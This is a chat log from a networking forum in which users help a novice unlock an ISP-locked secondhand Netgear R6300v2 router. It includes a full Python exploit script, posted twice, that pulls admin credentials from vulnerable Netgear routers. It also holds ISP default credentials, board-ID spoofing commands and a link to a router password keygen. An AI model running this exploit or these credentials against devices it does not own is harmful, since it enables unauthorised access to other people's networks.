#networking | Linus Tech Tips | Page 331

green forge Apr 24, 2021, 1:09 AM

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in telnet?

peak cloak Apr 24, 2021, 1:09 AM

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make a file this these contents

import requests


def scrape(text, start_trig, end_trig):
    if text.find(start_trig) != -1:
    return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]
    else:
        return "i_dont_speak_english"
#disable nasty insecure ssl warning
requests.packages.urllib3.disable_warnings()
#1st stage - get token
ip = sys.argv[1]
port = sys.argv[2]
url = 'http://' + ip + ':' + port + '/'
try:
    r = requests.get(url)
except:
    url = 'https://' + ip + ':' + port + '/'
    r = requests.get(url, verify=False)
model = r.headers.get('WWW-Authenticate')
if model is not None:
    print "Attcking: " + model[13:-1]
else:
    print "not a netgear router"
    sys.exit(0)
token = scrape(r.text, 'unauth.cgi?id=', '\"')
if token == 'i_dont_speak_english':
    print "not vulnerable"
    sys.exit(0)
print "token found: " + token
#2nd stage - pass the token - get the password
url = url + 'passwordrecovered.cgi?id=' + token
r = requests.post(url, verify=False)
#profit
if r.text.find('left\">') != -1:
    username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>')))
    username = scrape(username, '>', '\'')
    password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>')))
    password = scrape(password, '>', '\'')
    if username == "i_dont_speak_english":
        username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>'))
        password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>'))
else:
    print "not vulnerable becuse password recovery IS set"
    sys.exit(0)
#html encoding pops out of nowhere, lets replace that
password = password.replace("&#35;","#")
password = password.replace("&","&")
print "user: " + username
print "pass: " + password```

peak cloak Apr 24, 2021, 1:09 AM

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green forge in telnet?

no

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in command line

green forge Apr 24, 2021, 1:09 AM

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in .txt ?

peak cloak Apr 24, 2021, 1:09 AM

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so after you make a file let's name it netgore.py

green forge Apr 24, 2021, 1:09 AM

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in cmd?

peak cloak Apr 24, 2021, 1:09 AM

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green forge in cmd?

yes, that's cli

green forge Apr 24, 2021, 1:09 AM

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in python>

peak cloak Apr 24, 2021, 1:09 AM

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then you do python3 ./netgore.py

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if that doesn't work you can try python ./netgore.py

green forge Apr 24, 2021, 1:10 AM

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in python?

peak cloak Apr 24, 2021, 1:10 AM

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in command line

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cmd

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powershell

green forge Apr 24, 2021, 1:10 AM

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ok

peak cloak Apr 24, 2021, 1:10 AM

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your choice

green forge Apr 24, 2021, 1:10 AM

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what???

peak cloak Apr 24, 2021, 1:11 AM

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you pasted that

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into cmd

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ok

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so

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on your desktop create a file

green forge Apr 24, 2021, 1:11 AM

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ok

peak cloak Apr 24, 2021, 1:11 AM

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with the contents of the expolit script I posted above

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name it netgore.py

green forge Apr 24, 2021, 1:11 AM

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in a txt doc?

peak cloak Apr 24, 2021, 1:11 AM

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green forge in a txt doc?

no, .py

green forge Apr 24, 2021, 1:12 AM

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am i missing something here?

peak cloak Apr 24, 2021, 1:12 AM

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what are you confused about

green forge Apr 24, 2021, 1:12 AM

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im on my desktop

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and i right click

peak cloak Apr 24, 2021, 1:12 AM

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oh yeah, create text file

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we can change file extension later

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idk really if it actually matters

thorny vector Apr 24, 2021, 1:13 AM

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This is going way too hard. Just get a clean modem/router

green forge Apr 24, 2021, 1:13 AM

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@thorny vector I cant

peak cloak Apr 24, 2021, 1:13 AM

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thorny vector This is going way too hard. Just get a clean modem/router

he basically got a router from goodwill but the firmware is ISP locked

thorny vector Apr 24, 2021, 1:13 AM

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Ahhhhh, ok

green forge Apr 24, 2021, 1:13 AM

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idk how the person sold it in the first place

peak cloak Apr 24, 2021, 1:14 AM

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thorny vector Ahhhhh, ok

I mean for you and me it would be kinda easy depending on how old it is

green forge Apr 24, 2021, 1:14 AM

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yes

peak cloak Apr 24, 2021, 1:14 AM

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but teaching command line is hard

green forge Apr 24, 2021, 1:14 AM

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i just need 1gb connection

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i created a file

peak cloak Apr 24, 2021, 1:14 AM

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green forge i just need 1gb connection

at this point, just get yourself a mikrotik or a good router

thorny vector Apr 24, 2021, 1:14 AM

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I wouldn't even bother. I don't have enough time to try to get into a router when I can just stand up a VM for one

green forge Apr 24, 2021, 1:14 AM

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called netphone.py

peak cloak Apr 24, 2021, 1:15 AM

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green forge called netphone.py

ok now open file explorer and go to desktop

green forge Apr 24, 2021, 1:15 AM

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ok

peak cloak Apr 24, 2021, 1:15 AM

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SHIFT + RIGHT CLICK on an empty space and click open in powershell

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this will open the desktop directory in powershell

green forge Apr 24, 2021, 1:16 AM

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did

peak cloak Apr 24, 2021, 1:16 AM

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ok now try python3 ./netphone.py

green forge Apr 24, 2021, 1:16 AM

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umm

peak cloak Apr 24, 2021, 1:17 AM

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green forge

no python 3

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you could try

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just python ./netphone.py

green forge Apr 24, 2021, 1:18 AM

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peak cloak Apr 24, 2021, 1:18 AM

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yep

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install python

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or if you have it already install it to path

green forge Apr 24, 2021, 1:19 AM

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?

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ill reinstall python

copper rover Apr 24, 2021, 1:32 AM

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I don't know why people like software based routing like pfsense. High latency and buffer. Yuk. I prefer my packets in and out as quickly as possible. No buffer

peak cloak Apr 24, 2021, 1:34 AM

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copper rover I don't know why people like software based routing like pfsense. High latency a...

software routing has it's place, but imo not as a core router

copper rover Apr 24, 2021, 1:36 AM

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peak cloak software routing has it's place, but imo not as a core router

If you say so. I prefer flat physical topology and abstraction occurring in as few hardware devices as possible. Sometimes people make networking more complicated than it needs to be just because they can.

peak cloak Apr 24, 2021, 1:37 AM

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copper rover If you say so. I prefer flat physical topology and abstraction occurring in as f...

like I have it as a edgerouter for my kubernetes cluster

green forge Apr 24, 2021, 1:41 AM

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@copper rover @peak cloak umm

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what now

peak cloak Apr 24, 2021, 1:42 AM

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no clue

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script error

copper rover Apr 24, 2021, 1:42 AM

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peak cloak like I have it as a edgerouter for my kubernetes cluster

Short version - what's the primary difference between Kubernetes and Docker from an abstraction? Is Docker a portable whole stack whereas the other is just the app that is glued together with an API spanning different host servers?

rocky badge Apr 24, 2021, 1:43 AM

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K8s is an orchestrator

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it orchestrates Docker

peak cloak Apr 24, 2021, 1:44 AM

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copper rover Short version - what's the primary difference between Kubernetes and Docker from...

kubernetes is an orchastrator. It CAN run containers in docker runtime, however it was actually removed because of security issues. There are many other container runtimes as well, but they can run docker containers because they are built on the open container initiative

rocky badge Apr 24, 2021, 1:44 AM

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Although, K8s is depreciating Dockers in favor for CRI

peak cloak Apr 24, 2021, 1:45 AM

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https://youtu.be/PziYflu8cB8

YouTube

Fireship

Kubernetes Explained in 100 Seconds

Learn the basics of Kubernetes and how it's used to scale containers to massive workloads in the in cloud, in 100 seconds. https://fireship.io/tags/docker/

Docker in 100 Seconds https://youtu.be/Gjnup-PuquQ
Full docker Tutorial https://youtu.be/gAkwW2tuIqE

Official Kube docs https://kubernetes.io/

#docker #100SecondsOfCode

Install the quiz a...

▶ Play video

rocky badge Apr 24, 2021, 1:45 AM

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https://kubernetes.io/blog/2020/12/02/dont-panic-kubernetes-and-docker/

Kubernetes

Don't Panic: Kubernetes and Docker

Authors: Jorge Castro, Duffie Cooley, Kat Cosgrove, Justin Garrison, Noah Kantrowitz, Bob Killen, Rey Lejano, Dan “POP” Papandrea, Jeffrey Sica, Davanum “Dims” Srinivas
Kubernetes is deprecating Docker as a container runtime after v1.20.
You do not need to panic. It’s not as dramatic as it sounds.
TL;DR Docker as an underlying runtime is being d...

copper rover Apr 24, 2021, 1:45 AM

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Interesting, thanks. I'll check those out

peak cloak Apr 24, 2021, 1:47 AM

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peak cloak https://youtu.be/PziYflu8cB8

this video REALLY simplifies it but gets the idea across

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https://kubernetes.io/docs/tutorials/kubernetes-basics/

Kubernetes

Learn Kubernetes Basics

Production-Grade Container Orchestration

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this is also funny

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https://www.cncf.io/the-childrens-illustrated-guide-to-kubernetes/

Cloud Native Computing Foundation

The Illustrated Children’s Guide to Kubernetes | Cloud Native Compu...

Dedicated to all the parents who try to explain software engineering to their children. Once upon a time there was an app named Phippy. And she was a simple app. She was written in PHP and had just…

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@copper rover

green forge Apr 24, 2021, 1:56 AM

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peak cloak or if you have it already install it to path

install what to path and what path?

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@copper rover do you know how to do python?

copper rover Apr 24, 2021, 1:58 AM

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green forge <@!821472301627080766> do you know how to do python?

No, at best I can navigate around PowerShell within reason. But I can't script from whole cloth on my own, but I'm good with modifying existing code with to a certain basic extent. Meaning, I'm not a power user of it.

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Python? No clue

green forge Apr 24, 2021, 2:00 AM

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umm

copper rover Apr 24, 2021, 2:01 AM

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Seems Line 1 has some bad syntax

green forge Apr 24, 2021, 2:01 AM

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and how do i fix it?

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📎 41205.py

little schooner Apr 24, 2021, 2:03 AM

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I finally got my desktop wired up with copper cabling to do some iperf speed tests. Cutting out the slow opnsense router from the equation made the biggest difference. With opnsense router, it was capping at 250 mbps from desktop (wired) to surface laptop (wifi). Same LAN for both desktop and surface laptop iperf testing showed max speed of 784 Mbps between them. I am now getting the full speed. That router is slowing everything down for me.

I found an updated copy of iperf that isn't broken on Windows and works great, iperf3.9 https://www.neowin.net/forum/topic/1234695-iperf-39-windows-build/.

Neowin

Iperf 3.9 Windows build

So there has been an on going thread about powerline adapters, well the OP finally got some - and I was curious about speed he is seeing, etc. So told him would post up links to some tools. This lead me to compiling the latest version of iperf3 I could find for windows Since I couldnt find one. S...

copper rover Apr 24, 2021, 2:03 AM

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My bad

copper rover Apr 24, 2021, 2:05 AM

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green forge and how do i fix it?

So from the looks of it, the code is in the file, but not all of what's in the file is the code. If that makes sense

green forge Apr 24, 2021, 2:06 AM

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mhm

copper rover Apr 24, 2021, 2:07 AM

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Look at that file you sent me. There's two sections of code from a netgore.py and netgore2.py file.

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netgore.py

import sys
import requests

def scrape(text, start_trig, end_trig):
if text.find(start_trig) != -1:
return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]
else:
return "i_dont_speak_english"
#disable nasty insecure ssl warning
requests.packages.urllib3.disable_warnings()
#1st stage - get token
ip = sys.argv[1]
port = sys.argv[2]
url = 'http://' + ip + ':' + port + '/'
try:
r = requests.get(url)
except:
url = 'https://' + ip + ':' + port + '/'
r = requests.get(url, verify=False)
model = r.headers.get('WWW-Authenticate')
if model is not None:
print "Attcking: " + model[13:-1]
else:
print "not a netgear router"
sys.exit(0)
token = scrape(r.text, 'unauth.cgi?id=', '"')
if token == 'i_dont_speak_english':
print "not vulnerable"
sys.exit(0)
print "token found: " + token
#2nd stage - pass the token - get the password
url = url + 'passwordrecovered.cgi?id=' + token
r = requests.post(url, verify=False)
#profit
if r.text.find('left">') != -1:
username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>')))
username = scrape(username, '>', ''')
password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>')))
password = scrape(password, '>', ''')
if username == "i_dont_speak_english":
username = (scrape(r.text[r.text.find('left">'):-1], 'left">', '</td>'))
password = (scrape(r.text[r.text.rfind('left">'):-1], 'left">', '</td>'))
else:
print "not vulnerable becuse password recovery IS set"
sys.exit(0)
#html encoding pops out of nowhere, lets replace that
password = password.replace("#","#")
password = password.replace("&","&")
print "user: " + username
print "pass: " + password

green forge Apr 24, 2021, 2:10 AM

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which do i use?

copper rover Apr 24, 2021, 2:10 AM

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That's the code

green forge Apr 24, 2021, 2:10 AM

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so i put this into py

copper rover Apr 24, 2021, 2:10 AM

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Cut and paste it into a new txt document and name it py would be my guess

green forge Apr 24, 2021, 2:10 AM

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do i copy the ##netgore.py

copper rover Apr 24, 2021, 2:10 AM

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py extension

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You can, it will rem it out. Should be harmless

green forge Apr 24, 2021, 2:11 AM

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ok

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ahhh

copper rover Apr 24, 2021, 2:12 AM

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Anyways, the second part of the code is in ##netgore2.py.

My advise is that you read the entire document. It contains instructions and other discussions

green forge Apr 24, 2021, 2:12 AM

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is this supposed to give me my telnet username and pass?

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copper rover Apr 24, 2021, 2:13 AM

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Yeah, that's the idea. Supposedly it will scrape the credentials out.

green forge Apr 24, 2021, 2:13 AM

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green forge

@copper rover what about this?

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do you know what error this is?

thorny vector Apr 24, 2021, 2:14 AM

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indention error. Python is a white space delimited language. Gotta clean up the lines and indents

green forge Apr 24, 2021, 2:14 AM

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I dont know how to py, so could you help out?

thorny vector Apr 24, 2021, 2:15 AM

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Not actively. Doing some dev work

green forge Apr 24, 2021, 2:15 AM

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oh ok

copper rover Apr 24, 2021, 2:16 AM

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More to the point, I have no idea how to execute that code against the router. Is it supposed to hit port 80 against it, or via a telnet session inside the router?

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I"m thinking port 80 HTTP or 443 HTTPS. No clue

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And how you target it within the code? See, I don't know much how to utilize it.

thorny vector Apr 24, 2021, 2:17 AM

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Welcome to my wooooooorld...

https://beta.darkreading.com/attacks-breaches/password-manager-suffers-supply-chain-attack

green forge Apr 24, 2021, 2:17 AM

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i was guessing that we run the code and it spits out the password

copper rover Apr 24, 2021, 2:18 AM

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The password has to come from the router though.

green forge Apr 24, 2021, 2:18 AM

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@copper rover https://openwrt.org/toh/netgear/telnet.console

OpenWrt Wiki

Unlocking the Netgear Telnet Console

Unlocking the Netgear Telnet Console Several Netgear router models running factory firmware have a telnet daemon that listens at the router's local LAN IP address. Administrators have a couple of ways of gaining access to a hidden command line interface (CLI) with a telnet client:

copper rover Apr 24, 2021, 2:18 AM

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It's basically dumping the results from RAM inside the router

green forge Apr 24, 2021, 2:18 AM

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i unlocked it

copper rover Apr 24, 2021, 2:19 AM

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Ahh ok

green forge Apr 24, 2021, 2:19 AM

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i think we do port 80

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cuz its a older router

copper rover Apr 24, 2021, 2:19 AM

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Yeah, HTTP is port 80

green forge Apr 24, 2021, 2:19 AM

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it closed automatically

copper rover Apr 24, 2021, 2:19 AM

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HTTPS is universally 443 (SSL)

thorny vector Apr 24, 2021, 2:19 AM

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first few lines of the script, calls 2 sys_args, for IP and port

copper rover Apr 24, 2021, 2:19 AM

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^

thorny vector Apr 24, 2021, 2:20 AM

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you pass sys_args in the command line after calling the script

green forge Apr 24, 2021, 2:20 AM

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the thing is, why did the creators of this code make it so personalized?

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do this, then that

thorny vector Apr 24, 2021, 2:20 AM

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Its not?

green forge Apr 24, 2021, 2:20 AM

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huh

thorny vector Apr 24, 2021, 2:20 AM

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I't pretty generic, pretty well written

green forge Apr 24, 2021, 2:21 AM

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i mean i just never taught myself py so im braindead rn

thorny vector Apr 24, 2021, 2:21 AM

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handles everything for you, including scraping the page it retrieves.

green forge Apr 24, 2021, 2:22 AM

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ok

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so we just need to fix that line of code and we good?

thorny vector Apr 24, 2021, 2:22 AM

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Don't fix it. You pass it

green forge Apr 24, 2021, 2:22 AM

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pass it to who?

thorny vector Apr 24, 2021, 2:22 AM

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python3 name_of_script.py <ipaddr> <port>

green forge Apr 24, 2021, 2:22 AM

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im supposed to open it in powershell

copper rover Apr 24, 2021, 2:22 AM

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You still have to define the routers IP and port 80 in that line

green forge Apr 24, 2021, 2:22 AM

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right?

copper rover Apr 24, 2021, 2:23 AM

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Does PS run Python code?

thorny vector Apr 24, 2021, 2:23 AM

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Also, need to make sure you have the requests module pulled down. You can do that with pip. And you're calling the python3 binary in powershell, and pointing it to your script

green forge Apr 24, 2021, 2:23 AM

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python3 41205.py 192.168.1.1 23

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is this correct command?

thorny vector Apr 24, 2021, 2:24 AM

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No, because its not targeting the telnet service.

green forge Apr 24, 2021, 2:24 AM

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how do we target telnet service

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i need putty for that right?

thorny vector Apr 24, 2021, 2:24 AM

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We don't This isn't a telnet vulnerability

copper rover Apr 24, 2021, 2:24 AM

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correct

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It's HTTP. Replace port 23 for 80 in that code

green forge Apr 24, 2021, 2:25 AM

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OK

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caps

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i replaced and ran it

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still syntax

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this is the offical one i think

📎 41205.py

copper rover Apr 24, 2021, 2:25 AM

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Right, because Trustwave SpiderLabs is a remark, not code

thorny vector Apr 24, 2021, 2:25 AM

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That top line probably isn't commented out

copper rover Apr 24, 2021, 2:26 AM

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exactly

green forge Apr 24, 2021, 2:26 AM

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so i delete it?

copper rover Apr 24, 2021, 2:26 AM

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That's why he needs to omit that portion of the document

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Copy the document. Then save it was a new file. Then modify this one by clear it out

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The stuff non-relevent

thorny vector Apr 24, 2021, 2:27 AM

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Oh jesus. Everything that isn't code needs to be gone or commented out

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All the paragraphs, text, etc

green forge Apr 24, 2021, 2:27 AM

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linusSmirk 🔫

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this is my head, omit

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what

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so i need to delete(omit) all the text thats not code if im correct

copper rover Apr 24, 2021, 2:28 AM

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Yeah

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See, that document contains both commentary by the author in addition to code. But you can only execute the code.

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In a perfect world, it would be split into two documents for you, one the commentary, the other the py file

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You have to dissect it yourself

green forge Apr 24, 2021, 2:29 AM

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OHH

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THERES TWO CODES

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Do i need to seperate them?

copper rover Apr 24, 2021, 2:30 AM

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Yuppers. It would appear so

green forge Apr 24, 2021, 2:32 AM

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1 file seperated into 2

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lets see

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kirashi

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i meant st

ornate jungle Apr 24, 2021, 2:33 AM

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uh... I don't mean to interrupt, and no guarantees this will work, but if these people are correct, Netgear may have altered the way TELNET works on certain models of their routers. since your R6300v2's boardid has been altered by Charter/Spectrum, you can attempt to flash one of KONG's legendary custom firmware's on it. (unless you tried his firmware already.)
https://www.myopenrouter.com/forum/firmware-file-incorrect-r6300v2-dd-wrt
if that doesn't work, you might just need to use the custom telnetenable client as outlined in this thread, change the boardid, and then flash an official netgear firmware.
https://www.myopenrouter.com/forum/changing-board-id-charter-edition-r6300v2-dd-wrt-firmware

green forge Apr 24, 2021, 2:34 AM

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@ornate jungle i mean this is a old firmware so it might

ornate jungle Apr 24, 2021, 2:34 AM

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My understanding is that ISP's simply have Netgear alter the boardid value when flashing their own custom firmware. An altered boardid will prevent regular firmware flashes... unless someone (AHEM cough cough the legendary KONG) alters a custom firmware file. 😉

green forge Apr 24, 2021, 2:34 AM

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wait but does anyone know why this happens now?

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it doesnt let me download anything on the website

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and dd wrt

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ftp://downloads.netgear.com/r6300v2/chnas/

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it starts with ftp

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which im guessing stands for file transfer protocol?

tender hazel Apr 24, 2021, 2:36 AM

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wow, you guys are still at this?

copper rover Apr 24, 2021, 2:37 AM

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@green forge What ISP did you say this router was issued by?

green forge Apr 24, 2021, 2:37 AM

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@copper rover spectrum wifi

copper rover Apr 24, 2021, 2:37 AM

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tender hazel wow, you guys are still at this?

Surrender doesn't come easy

green forge Apr 24, 2021, 2:37 AM

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since its some firmware and sw at the end

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@tender hazel maybe even tommorow

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kong

copper rover Apr 24, 2021, 2:39 AM

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green forge <@!821472301627080766> spectrum wifi

have you tried logging in as admin/password or admin/admin ?

green forge Apr 24, 2021, 2:39 AM

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i can try

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worth a shot

copper rover Apr 24, 2021, 2:39 AM

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OMG, that's like turning the door nob to see if it's even unlocked

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with defaults like that, it's basically unlocked

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lol

green forge Apr 24, 2021, 2:40 AM

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nope

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let me try admin pass

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nope

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im guessing this thing has a hard coded password

copper rover Apr 24, 2021, 2:40 AM

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Well, you factory reset it, so there's a default user pass

green forge Apr 24, 2021, 2:40 AM

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and username

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alr let me see

copper rover Apr 24, 2021, 2:40 AM

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Google spectrum default passwords

tender hazel Apr 24, 2021, 2:41 AM

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they might have made something like the serial number the password

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it's easy to do that with such devices

green forge Apr 24, 2021, 2:41 AM

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serial numb?

copper rover Apr 24, 2021, 2:41 AM

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tender hazel they might have made something like the serial number the password

Prolly the mac address or something

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or a portion of it

green forge Apr 24, 2021, 2:41 AM

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i mean

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they could have hardcoded the username and pss

tender hazel Apr 24, 2021, 2:41 AM

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the serial number or mac address

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the problem with hardcoding is it means they are the same on all units

green forge Apr 24, 2021, 2:42 AM

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oh

copper rover Apr 24, 2021, 2:42 AM

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Yeah, there's a formula to it

tender hazel Apr 24, 2021, 2:42 AM

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and that is perhaps good for techs but is bad if someone figures out what it is

green forge Apr 24, 2021, 2:42 AM

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but is the mac or serial a password or username

tender hazel Apr 24, 2021, 2:42 AM

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it would be a password

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not a username

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the username would be the same on all devices

copper rover Apr 24, 2021, 2:43 AM

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It's how I was able to get in my ISP modem to check QAM coax levels 😉

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Googlefu is required to figure it out based on the mac address

green forge Apr 24, 2021, 2:43 AM

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copper rover It's how I was able to get in my ISP modem to check QAM coax levels 😉

huh? whats that?

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im in.

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TEL NET LETS GO

copper rover Apr 24, 2021, 2:44 AM

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green forge huh? whats that?

Let's just say I had poor coax signal levels. I cleaned them up and levels now good.

green forge Apr 24, 2021, 2:44 AM

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@copper rover o nice

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screw you code

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well that saved us alot of time

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WAIT

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ican clear vram in here

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hehehe

copper rover Apr 24, 2021, 2:45 AM

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Well, sure. But I believe that's the same as holding down that reset button

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And you've already did that last I recall

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It clears config, not firmware

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It will put you back to square 1

tender hazel Apr 24, 2021, 2:46 AM

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so what was the password? the serial number?

green forge Apr 24, 2021, 2:46 AM

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nope

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i guess i typed to fast

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but the username and password was admin and pass was cciadmin

copper rover Apr 24, 2021, 2:47 AM

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Oh, then yeah, that's it. Should be full unrestricted mode

green forge Apr 24, 2021, 2:48 AM

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wt

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now i cant log back in...

copper rover Apr 24, 2021, 2:50 AM

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cciadmin is from Consolidated Communications

green forge Apr 24, 2021, 2:50 AM

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it works

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what am i doing

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one second i type it right and the other not

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ok

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so im back in

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@copper rover thats what im saying, how can this thing be from cci if its also from sw?

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did they not have permission to get a custom firmware for themselfs?

copper rover Apr 24, 2021, 2:51 AM

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No clue. Maybe one ISP took over the region of another an inherited the customer equipment being used?? God only knows

green forge Apr 24, 2021, 2:52 AM

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also, not to be rude, but what time is it for you?

peak cloak Apr 24, 2021, 2:52 AM

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well you have all busybox utils

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and more I guess

copper rover Apr 24, 2021, 2:52 AM

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close to 10pm. I will be leaving in the next 10 minutes

green forge Apr 24, 2021, 2:52 AM

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@peak cloak you came back

peak cloak Apr 24, 2021, 2:52 AM

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kinda

green forge Apr 24, 2021, 2:52 AM

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its almost 8 for me

peak cloak Apr 24, 2021, 2:52 AM

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have to go soon

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almost 11 for me

green forge Apr 24, 2021, 2:53 AM

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dam

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you guys avalible tommorow?

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wait

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that command

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@copper rover what was that tftp command

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that works

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but we just couldnt get to work due to read only?

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got it

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Shit

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nope

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copper rover Apr 24, 2021, 2:57 AM

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Are you familiar with an ISP called Sure West?

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SW

green forge Apr 24, 2021, 2:58 AM

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is it referring to my pc or the router?

green forge Apr 24, 2021, 2:58 AM

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copper rover Are you familiar with an ISP called Sure West?

THATS RIGHT

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i saw that in

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a forum yestery

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yesterday

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ohhh

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its cci

copper rover Apr 24, 2021, 2:58 AM

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Yeah

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"In case anyone else is ever in my shoes, I should add, after much research on the web, I have Consolidated Communications as my internet provider now (they bought out SureWest) I have tried Surewest admin and password information that generous people have put onto various websites, as well as CCI information. None of the passwords work. From what I have read, I will have to call on Monday to get this information, if they will give it to me. I cannot access the Netgear Genie to update the router without it. Once I get it, I will let people know what I've learned in case anyone else has this frustrating issue. "

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From a netgear forum

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2017

green forge Apr 24, 2021, 2:59 AM

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huh

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too bad he didnt realize that there was no new update

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@copper rover look at this

tender hazel Apr 24, 2021, 3:02 AM

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yeah you can't remount because it is flash

green forge Apr 24, 2021, 3:02 AM

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tender hazel Apr 24, 2021, 3:03 AM

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you have to download the firmware to a writeable location like /tmp

green forge Apr 24, 2021, 3:03 AM

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these are the available ones

tender hazel Apr 24, 2021, 3:03 AM

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and search the file system to see if there is some kind of update program

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for updating the firmware

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there probably is

copper rover Apr 24, 2021, 3:03 AM

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Netgear Genie I think it's called

green forge Apr 24, 2021, 3:03 AM

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how do i serch

copper rover Apr 24, 2021, 3:03 AM

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It's their firmware update tool

tender hazel Apr 24, 2021, 3:03 AM

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find . | grep "update"

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from the root directory

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or find . | grep "genie"

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if it is called genie as StDragon76 says

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you can also try other permutations

green forge Apr 24, 2021, 3:04 AM

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is the command find grep genie?

copper rover Apr 24, 2021, 3:04 AM

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https://www.netgear.com/support/product/R6300v2.aspx#NETGEAR Genie App (Windows)

NETGEAR

R6300v2 — AC1750 Smart WiFi Router Dual Band Gigabit

Find support for your NETGEAR R6300v2 wifi router including guides, troubleshooting articles, the latest firmware updates, and much more today.

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Download the windows app

green forge Apr 24, 2021, 3:04 AM

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alr

copper rover Apr 24, 2021, 3:05 AM

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Latest Netgear firmware is 1.0.4.52

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Download that too. Maybe you might be able to overwrite the custom firmware image from the ISP.

green forge Apr 24, 2021, 3:06 AM

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i had it downloaded since yesterday

copper rover Apr 24, 2021, 3:06 AM

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But if prompted for credentials, it should be that cciadmin one

green forge Apr 24, 2021, 3:06 AM

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yeh

copper rover Apr 24, 2021, 3:07 AM

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If that doesnt' work, then it's firmware locked

thorny vector Apr 24, 2021, 3:07 AM

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Oh, for anyone that likes reddit and likes to live in the command line

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https://github.com/tildeclub/ttrv

GitHub

tildeclub/ttrv

Tilde Terminal Reddit Viewer. Contribute to tildeclub/ttrv development by creating an account on GitHub.

copper rover Apr 24, 2021, 3:07 AM

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Or there's another root account that's not documented anywhere

thorny vector Apr 24, 2021, 3:07 AM

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Just found this, quite nice

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Their firmware tool will be a windows run utility that connects to the router

green forge Apr 24, 2021, 3:08 AM

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@copper rover i got into it i think

thorny vector Apr 24, 2021, 3:08 AM

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now that you're in the RTR, I imagine its just a stripped down linux box

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What does uname -a print out?

copper rover Apr 24, 2021, 3:09 AM

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thorny vector Just found this, quite nice

That is interesting

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Hey, no ads. lol

thorny vector Apr 24, 2021, 3:09 AM

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yuuuup

green forge Apr 24, 2021, 3:09 AM

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i had to use archive.org to get genie

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the link broke so

copper rover Apr 24, 2021, 3:10 AM

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??? Genie should be in that link. Are you saying it's broken?

peak cloak Apr 24, 2021, 3:10 AM

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doubt genie would work

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you need to do it the hacky way

green forge Apr 24, 2021, 3:10 AM

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@copper rover everythings been broken for me, not my falt

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fault

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WTF

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how is this app able to see my asus router and all the stuff connected to it

copper rover Apr 24, 2021, 3:11 AM

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Because it's scanning your local subnet IP scan

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Nothing new

green forge Apr 24, 2021, 3:11 AM

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oh

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i booted router back u

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p

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what do i do now

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disconnect from wifi?

copper rover Apr 24, 2021, 3:12 AM

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See, this is one of many reasons Netgear is ass. Their website sucks as well as their products.

green forge Apr 24, 2021, 3:12 AM

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yeah xd

copper rover Apr 24, 2021, 3:12 AM

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They will prolly go the way of BenQ. Sick burn, but they deserve it

green forge Apr 24, 2021, 3:13 AM

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alr il lget on my phone

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wha

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@copper rover is this like messed up specs

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no wonder it sucks

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hold up

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it says that my router doesnt support readyshare

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even though i have it?

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oh well

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@copper rover what am i supposed to do in here again

copper rover Apr 24, 2021, 3:20 AM

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?? Does not having readyshare matter? It's disabled or non-existant in the custom ISP firmware

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Does the Genie app require readyshare to upload the firmware I wonder?

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I figured the Genie app was just a fancy TFTP program

green forge Apr 24, 2021, 3:21 AM

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but what are we gonan do in here

copper rover Apr 24, 2021, 3:21 AM

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If the above is true, then I'm afraid your SOL

green forge Apr 24, 2021, 3:22 AM

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sol?

copper rover Apr 24, 2021, 3:22 AM

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Shit Out of Luck

green forge Apr 24, 2021, 3:24 AM

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so we want to upload a firmware onto the genie?

copper rover Apr 24, 2021, 3:25 AM

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Genie is just a program with a feature to upload firmware to the netgear router.

https://kb.netgear.com/25886/How-do-I-update-my-router-s-firmware-using-NETGEAR-desktop-Genie

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That's the gist of it

green forge Apr 24, 2021, 3:26 AM

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uhh

copper rover Apr 24, 2021, 3:26 AM

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Slim chance it will interface with custom ISP firmware unless the core of it is based on the original firmware image from netgear.

It's really a question of how much of the custom image is just window dressing for branding vs actual changes in features making the router locked down and neutered

green forge Apr 24, 2021, 3:27 AM

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copper rover Slim chance it will interface with custom ISP firmware unless the core of it is ...

it should be

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do we want to upload the firmware into the genie?

copper rover Apr 24, 2021, 3:30 AM

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Here, read this entire thread. It's interesting. But seems to lead in the direction you're wanting to go.

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https://www.myopenrouter.com/forum/firmware-file-incorrect-r6300v2-dd-wrt

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From a terminal command to the router, you might be able to run "nvram get board_id" (no quotes)

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Anyways, I GTG, good luck.

green forge Apr 24, 2021, 3:32 AM

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@copper rover gn, ill dm you tommorow?

copper rover Apr 24, 2021, 3:33 AM

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Maybe later

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Check this out from that forum. Changing that board ID might be the secret sauce.

use telnetenable

run command

telnetenable 192.168.1.1 ROUTERSMACADDRESS admin password

then use putty to connect to telnet 192.168.1.1 port 23

type command

burnboardid U12H240T00_NETGEAR

then type command

nvram set board_id=U12H240T00_NETGEAR

then you should be able to update your charter netgear R6300v2CH from 1.0.3.6CH to the standard V1.0.4.2 and then install DD-WRT for R6300v2

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Anyways, read the entire forum before doing that.

tender hazel Apr 24, 2021, 3:47 AM

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@green forge you would be a lot better off just buying a mikrotik router

green forge Apr 24, 2021, 3:47 AM

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@copper rover i just burned a false boardid to it

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just need to flash new firmware and ill be done

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@tender hazel nah

plain siren Apr 24, 2021, 3:51 AM

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@green forge just flash the .bin with the "update" page

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Also... @tender hazel look what I found: https://git.lsd.cat/g/nokia-keygen <

g/nokia-keygen

WPA and admin password generator for Nokia and Alcatel CPEs

green forge Apr 24, 2021, 3:51 AM

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plain siren <@!362089571254665218> just flash the .bin with the "update" page

what bin

plain siren Apr 24, 2021, 3:51 AM

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Its the ONT Logins for tons of the Nokia and Alca models

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I was digging for something like that

green forge Apr 24, 2021, 3:52 AM

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@plain siren i dont have a bin file

plain siren Apr 24, 2021, 3:53 AM

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If you dont know what I mean by that, You prob shouldnt be messing with your router like this

green forge Apr 24, 2021, 3:53 AM

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@plain siren its still a paperweight

tender hazel Apr 24, 2021, 3:53 AM

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@plain siren it is some donated garbage router that someone else threw in recycling

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a netgear that had some custom firmware loaded on it for an ISP

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it's a big waste of time to try to flash that, I think

green forge Apr 24, 2021, 3:54 AM

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@tender hazel Look, Im broke

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I dont have cash

plain siren Apr 24, 2021, 3:55 AM

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hold on....

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AYY im in the AT&T Fiber PON/ONT/whatever! Fudging magic

green forge Apr 24, 2021, 3:56 AM

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why wont the nvram command work

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i need it to work

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to trick

plain siren Apr 24, 2021, 3:57 AM

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type login

